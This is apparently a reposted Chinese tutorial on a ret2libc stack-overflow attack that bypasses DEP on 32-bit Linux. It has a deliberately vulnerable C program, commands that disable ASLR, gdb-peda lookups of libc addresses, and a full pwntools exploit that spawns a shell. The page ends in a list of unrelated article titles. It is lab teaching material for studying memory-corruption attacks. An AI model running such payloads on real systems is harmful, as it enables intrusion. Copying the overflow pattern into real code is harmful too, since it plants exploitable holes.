linux栈溢出-绕过DEP
来源:互联网 发布:中国联通软件研究院吧 编辑:程序博客网 时间:2024/06/14 06:08
调试环境是ubuntu14 32位
这次开启了DEP,关闭了ASLR
代码是1.c:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13);}
gcc -fno-stack-protector -o 1 1.c
关闭ASLR:
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
可以看到编译的程序确实开启了DEP:
Type "apropos word" to search for commands related to "word"...Reading symbols from ./1...(no debugging symbols found)...done.gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partialgdb-peda$
因为程序关闭了ASLR,所以函数的地址等信息是不变的
因为此时栈上不能执行代码,所以我们可以想法在libc.so上找到相关函数,字符串等信息,然后执行之。
gdb-peda$ print system$6 = {<text variable, no debug info>} 0xb7e56190 <__libc_system>gdb-peda$ print __libc_start_main$7 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7e2f990 <__libc_start_main>gdb-peda$ searchmem "/bin/sh" libcSearching for '/bin/sh' in: libc rangesFound 1 results, display max 1 items:libc : 0xb7f76a24 ("/bin/sh")gdb-peda$ x/s 0xb7f76a240xb7f76a24:"/bin/sh"gdb-peda$
可以看到此时system地址为0xb7e56190 ,字符串"/bin/sh"地址为0xb7f76a24
下边是exp:
#!/usr/bin/env pythonfrom pwn import *p = process('./1')#p = remote('127.0.0.1',10002)ret = 0xdeadbeefsystemaddr=0xb7e56190binshaddr=0xb7f76a24payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)p.send(payload)p.interactive()
阅读全文
0 0
- linux栈溢出-绕过DEP
- linux栈溢出-绕过ROP、ASLR(知道libc.so)
- ASLR/DEP绕过技术概览
- ASLR/DEP绕过技术概览
- 常见linux攻击技术之绕过NX实现栈溢出攻击
- linux栈溢出4-绕过ROP、ASLR(不知道libc.so)
- ASLR/DEP绕过技术概览(学习)
- ASLR/DEP绕过技术概览(学习)
- 使用ROP绕过DEP 64位
- ROP绕过DEP和ALSR 64位
- linux溢出总结+windows aslr地址随机化绕过
- MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
- MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
- 【网络安全】Rop绕过DEP和ASRL流程实例介绍
- 利用ROP绕过DEP(Defeating DEP with ROP)调试笔记
- 绕过缓冲溢出防护系统
- 绕过缓冲溢出防护系统
- DEP
- SQL执行计划
- mysql忘记密码
- 服务运行原理
- 51nod1005---大数加法(51nod基础:加减模拟)
- Go语言 golang 语法详解笔记
- linux栈溢出-绕过DEP
- TensorFlow学习笔记(七)feeds操作
- csdn居然支持markdown
- java-Date、SimpleDateFormat、Calendar类
- Mac不支持NTFS的原因
- 技术点-SpringBoot-概念性总结
- 成功团队就是汇聚好的人才?谷歌“亚里士多德项目”为你揭开“惊人”谜底
- Gulp结合Babel实时编译编译ES6:
- linux(2)